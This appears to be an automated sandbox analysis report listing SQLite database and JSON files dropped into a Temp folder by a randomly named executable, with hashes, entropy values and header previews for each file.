C:\Users\user\AppData\Local\Temp\aYYj4tlGs5

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aahEw8PGbU

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abDEs4vT7k

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aeohiNhnWw

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ahCNEgEnyj

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aq2SCd4qfi

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ayksAbpNDc

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b31vwLKFz0

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bv2zqAsMGv

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cBl2CpDTGA

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cDhJR9T17g

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\chuqmwZZYb

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cmI16iO5wT

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dub8ipgfpS

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\e2WrT9ZM8z

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eKZOjy5Yg9

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eQEcvlMyaA

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eWQPSz5DyH

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\eyphyoR4yx

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fDaCJJLV76

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14
Entropy (8bit):	3.378783493486176
Encrypted:	false
SSDEEP:	3:Y2Qt6eYYn:Y2Qt6eYYn
MD5:	6CA4960355E4951C72AA5F6364E459D5
SHA1:	2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
SHA-256:	88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
SHA-512:	8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
Malicious:	false
Preview:	{"Surveys":{}}

C:\Users\user\AppData\Local\Temp\fPXy2MvMuZ

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\fkv5XzQVjR

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ftRCoVo7dc

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\g85RVd8ka0

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gLhJ4FB2Qt

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gN6crxOAY8

Download File

Process:	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
